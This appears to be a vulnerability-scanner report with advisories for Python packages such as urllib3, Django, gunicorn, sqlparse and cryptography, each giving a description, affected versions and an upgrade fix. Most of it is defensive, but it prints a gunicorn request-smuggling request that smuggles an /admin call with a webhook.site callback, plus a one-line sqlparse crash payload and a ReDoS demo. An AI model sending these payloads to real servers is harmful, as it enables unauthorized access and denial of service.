Find, fix and prevent vulnerabilities in your code.

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the django.utils.text.wrap() function and wordwrap template filter. When either is supplied an excessively long string it may render the application unresponsive.

Remediation

Upgrade django to version 4.2.20, 5.0.13, 5.1.7 or higher.

References

• Django Security Release
• GitHub Commit
• GitHub Commit

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the HttpResponseRedirect and HttpResponsePermanentRedirect functions when processing inputs containing a very large number of Unicode characters, due to slow NFKC normalization on Windows. An attacker can cause excessive resource consumption and disrupt service availability.

Note: This is only exploitable on Windows.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade Django to version 4.2.26, 5.1.14, 5.2.8 or higher.

References

• Django Release Notes
• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit
• Google Groups Forum

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity in the getInnerText() function. An attacker can exhaust CPU and memory resources by submitting deeply nested XML input to the XML deserializer, which is processed in quadratic time per character.

Remediation

Upgrade Django to version 4.2.27, 5.1.15, 5.2.9 or higher.

References

• Django Release Notes
• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of the Transfer-Encoding header. An attacker can manipulate session data, poison caches, or compromise data integrity by exploiting the fallback to Content-Length when Transfer-Encoding is not correctly handled.

PoC

POST / HTTP/1.1
Host: 172.24.10.169
Content-Length: 6
Transfer-Encoding: chunked,gzip

73

GET /admin?callback1=https://webhook.site/717269ae-8b97-4866-9a24-17ccef265a30 HTTP/1.1
Host: 172.24.10.169

0

Remediation

Upgrade gunicorn to version 23.0.0 or higher.

References

• GitHub Issue

Overview

protobuf is a Google’s data interchange format

Affected versions of this package are vulnerable to Uncontrolled Recursion when parsing untrusted Protocol Buffers data containing an excessive number of recursive groups, recursive messages, or a series of SGROUP tags. An attacker can provide crafted input that will corrupt the backend by exceeding the Python recursion limit and result in denial of service by crashing the application with a RecursionError.

Note: This problem impacts only the pure-Python implementation of the protobuf-python backend and does not influence the CPython PyPi wheels, which, by default, do not utilize pure Python.

Remediation

Upgrade protobuf to version 4.25.8, 5.29.5, 6.31.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• PoC Code

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via algorithmic complexity in the SQL parsing logic. The parser fails to enforce limits when handling deeply nested tuples or unusually large token sequences, allowing an attacker to submit crafted SQL statements with extreme nesting depth or token counts. This causes excessive CPU and memory consumption, leading to service slowdown or outage.

Note: This vulnerability exists due to an incomplete fix for CVE-2024-4340.

Remediation

Upgrade sqlparse to version 0.5.4 or higher.

References

• GitHub Commit

Overview

mysql-connector-python is a MySQL driver written in Python which does not depend on MySQL C client libraries and implements the DB API v2.0 specification (PEP-249).

Affected versions of this package are vulnerable to Access Control Bypass via multiple protocols. An attacker can take over the MySQL Connectors by exploiting network access with low privileges.

Remediation

Upgrade mysql-connector-python to version 9.1.0 or higher.

References

• GitHub Commit
• Oracle security-alerts
• Red Hat Bugzilla Bug

Overview

Affected versions of this package are vulnerable to Buffer Overflow. A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking by the ossl_punycode_decode function.

Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer. An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack. This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution.

In a TLS client, this can be triggered by connecting to a malicious server.

In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects.

A full break down of this vulnerability can be found in our technical deep dive.

Note: Pre-announcements of CVE-2022-3602 described this issue as CRITICAL. Further analysis based on some of the mitigating factors described above have led this to be downgraded to HIGH. Users are still encouraged to upgrade to a new version as soon as possible.

Changelog

November 1, 2022 - Advisory published.

November 2, 2022 - Node.js listed as affected, in advance of fix.

November 5, 2022 - Node.js fixed versions added.

Remediation

Upgrade cryptography to version 38.0.3 or higher.

References

• GitHub Commit
• Node.js Announcement
• OpenSSL Advisory
• OpenSSL Mailing List
• PoC (Windows)
• Snyk Blog - Technical Deep Dive
• Snyk Blog - Vulnerability Announcement
• PoC in GitHub

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a null pointer dereference in when signatures are being verified on PKCS7 signed or signedAndEnveloped data in pkcs7/pk7_doit.c. If the hash algorithm used for the signature is known to the OpenSSL library but the implementation of the hash algorithm is not available, the digest initialization will fail.

NOTE: The TLS implementation in OpenSSL does not call these functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• Changelog (cryptography)
• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

Affected versions of this package are vulnerable to Observable Timing Discrepancy. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data (Marvin).

Note:

This vulnerability exists due to an incomplete fix for CVE-2020-25659.

Remediation

Upgrade cryptography to version 42.0.0 or higher.

References

• GitHub Issue
• Vulnerability Report

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) due to the parsed values of Accept-Language headers which are cached, in order to avoid repetitive parsing. If the raw value of Accept-Language headers is very large, this will cause excessive memory usage.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.17, 4.0.9, 4.1.6 or higher.

References

• Django Release Notes
• Django Security Release
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when parsing multipart form data in http/multipartparser.py. An attacker can trigger the opening of a large number of uploaded files which are not subsequently closed, consuming memory or filehandling resources.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.18, 4.0.10, 4.1.7 or higher.

References

• Django Security Release
• GitHub Commit
• GitHub Commit 3.2.18
• GitHub Commit 4.0.10
• GitHub Commit 4.1.7

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the django.utils.encoding.uri_to_iri() function when processing inputs with a large number of Unicode characters.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.21, 4.1.11, 4.2.5 or higher.

References

• Django Release Notes
• Django Release Notes
• Django Release Notes
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) in the intcomma template filter, when used with very long strings. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade django to version 3.2.24, 4.2.10, 5.0.2 or higher.

References

• Django Release Notes
• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the EmailValidator and URLValidator classes, when processing a very large number of domain name labels on emails or URLs.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade django to version 3.2.20, 4.1.10, 4.2.3 or higher.

References

• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via a crafted Set-Cookie HEADER from a malicious web server.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade future to version 0.18.3 or higher.

References

• GitHub Commit
• GitHub PR
• Pyup Blog
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Excessive Iteration. Specially crafted requests can cause a termination of connection between a proxy and a backend.

Remediation

Upgrade grpcio to version 1.53.2, 1.54.3, 1.55.3, 1.56.2 or higher.

References

• Advisory
• GitHub Commit

Overview

grpcio is a None

Affected versions of this package are vulnerable to Uncaught Exception. due to the lack of error handling in the TCP server. An attacker can cause a denial of service by initiating a significant number of connections with the server.

Note:

This is only exploitable if the server is running on posix-compatible platforms such as Linux.

Remediation

Upgrade grpcio to version 1.53.2, 1.54.3, 1.55.3, 1.56.2 or higher.

References

• GitHub Commit

• GitHub PR

• GitHub PR

• GitHub PR

• GitHub PR

• GitHub PR

Overview

gunicorn is a Python WSGI HTTP Server for UNIX

Affected versions of this package are vulnerable to HTTP Request Smuggling due to the improper validation of Transfer-Encoding headers. An attacker can bypass security restrictions and access restricted endpoints by crafting requests with conflicting Transfer-Encoding headers.

Notes:

1. This is only exploitable if users have a network path which does not filter out invalid requests;

2. Users are advised to block access to restricted endpoints via a firewall or other mechanism until a fix can be developed.

3. This issue arises from the application's incorrectly processing of requests with multiple, conflicting Transfer-Encoding headers, treating them as chunked regardless of the final encoding specified.

Remediation

Upgrade gunicorn to version 22.0.0 or higher.

References

• GitHub Commit
• GitHub Release
• Vulnerable Code

Overview

mysql-connector-python is a MySQL driver written in Python which does not depend on MySQL C client libraries and implements the DB API v2.0 specification (PEP-249).

Affected versions of this package are vulnerable to Denial of Service (DoS) allowing an unauthenticated attacker with network access via multiple protocols to compromise MySQL Connectors. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Connectors.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade mysql-connector-python to version 8.4.0 or higher.

References

• Oracle Security Advisory

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• PoC

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to using an inefficient pattern which can cause excessive backtracking, leading to performance degradation.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade sqlparse to version 0.4.4 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Uncontrolled Recursion due to the parsing of heavily nested lists. An attacker can cause the application to crash by submitting a specially crafted list that triggers a RecursionError.

Note: The impact depends on the use, so anyone parsing a user input with sqlparse.parse() is affected.

PoC

import sqlparse
sqlparse.parse('[' * 10000 + ']' * 10000)

Remediation

Upgrade sqlparse to version 0.5.0 or higher.

References

• GitHub Commit
• Nuclei Templates

Overview

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') in x509/v3_genn.c, when processing X.400 addresses with CRL checking enabled (e.g. when X509_V_FLAG_CRL_CHECK is set). An attacker in possession of both the certificate chain and CRL, of which neither needs a valid signature, can expose memory or cause a denial of service. If the attacker only controls one of these inputs, the other input must already contain an X.400 address as a CRL distribution point, which is uncommon.

Remediation

Upgrade cryptography to version 39.0.1 or higher.

References

• Changelog (cryptography)
• GitHub Commit
• GitHub Issue
• Node.js Advisory
• Vulnerability Advisory

Overview

PyJWT is a Python implementation of RFC 7519.

Affected versions of this package are vulnerable to Use of a Broken or Risky Cryptographic Algorithm via non-blacklisted public key formats, leading to key confusion.

Remediation

Upgrade PyJWT to version 2.4.0 or higher.

References

• GitHub Commit
• RedHat Bugzilla Bug

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to SQL Injection in the write_pandas function, due to missing sanitization.

Note: Only a limited set of query types are not properly parameterized, and any SQL executed by the attacker will run in the context of the current session only.

Remediation

Upgrade snowflake-connector-python to version 3.13.1 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release

Overview

Affected versions of this package are vulnerable to Buffer Overflow. A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

An attacker can craft a malicious email address to overflow an arbitrary number of bytes containing the . character (decimal 46) on the stack. This buffer overflow could result in a crash (causing a denial of service).

A full break down of this vulnerability can be found in our technical deep dive.

NOTE: The Node.js project has announced that 18.x and 19.x releases are affected, and fixed versions are expected on or soon after November 3. This advisory will be updated accordingly when they are released.

Changelog

November 1, 2022 - Advisory published.

November 2, 2022 - Node.js listed as affected, in advance of fix.

November 5, 2022 - Node.js fixed versions added.

Remediation

Upgrade cryptography to version 38.0.3 or higher.

References

• GitHub Commit
• GitHub Commit
• Node.js Announcement
• OpenSSL Advisory
• OpenSSL Mailing List
• Snyk Blog - Technical Deep Dive
• Snyk Blog - Vulnerability Announcement

Overview

Affected versions of this package are vulnerable to Command Injection via certain inputs containing large sequences of nested incomplete HTML entities submitted to the strip_tags function and striptags template filter. An attacker can cause the application to consume excessive resources.

Remediation

Upgrade django to version 4.2.17, 5.0.10, 5.1.4 or higher.

References

• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection in the FilteredRelation class when a specially crafted dictionary is used with dictionary expansion as the **kwargs passed to QuerySet.annotate or QuerySet.alias. An attacker can execute arbitrary SQL commands by supplying malicious input to these parameters.

Remediation

Upgrade Django to version 4.2.24, 5.1.12, 5.2.6 or higher.

References

• Django Release Notes
• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design.

Affected versions of this package are vulnerable to SQL Injection via the FilteredRelation column aliases. When a malicious dictionary expansion is passed in as the **kwargs argument to QuerySet.annotate() or QuerySet.alias() on PostgreSQL, its contents can be used to execute SQL.

Remediation

Upgrade Django to version 4.2.27, 5.1.15, 5.2.9 or higher.

References

• Django Release Notes
• Django Security Release
• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Commit

Overview

snowflake-connector-python is a Snowflake Connector for Python

Affected versions of this package are vulnerable to Arbitrary Command Injection via single sign-on (SSO) browser URL authentication. In order to exploit the potential for command injection, an attacker would need to be successful in (1) establishing a malicious resource and (2) redirecting users to utilize the resource. The attacker could set up a malicious, publicly accessible server which responds to the SSO URL with an attack payload. If the attacker then tricked a user into visiting the maliciously crafted connection URL, the user’s local machine would render the malicious payload, leading to a remote code execution.

Mitigation:

This attack scenario can be mitigated through URL whitelisting as well as common anti-phishing resources.

Remediation

Upgrade snowflake-connector-python to version 3.0.2 or higher.

References

• GitHub Commit
• GitHub PR
• GitHub Release

Overview

Affected versions of this package are vulnerable to Reflected File Download (RFD) as it is possible to set the Content-Disposition header of a FileResponse when the filename is derived from user-supplied input.

Remediation

Upgrade django to version 3.2.15, 4.0.7, 4.1 or higher.

References

• Django Security Release
• GitHub Commit Version 3.2.x3
• GitHub Commit Version 4.0.x
• GitHub Commit Version 4.1.x

GPL-2.0 license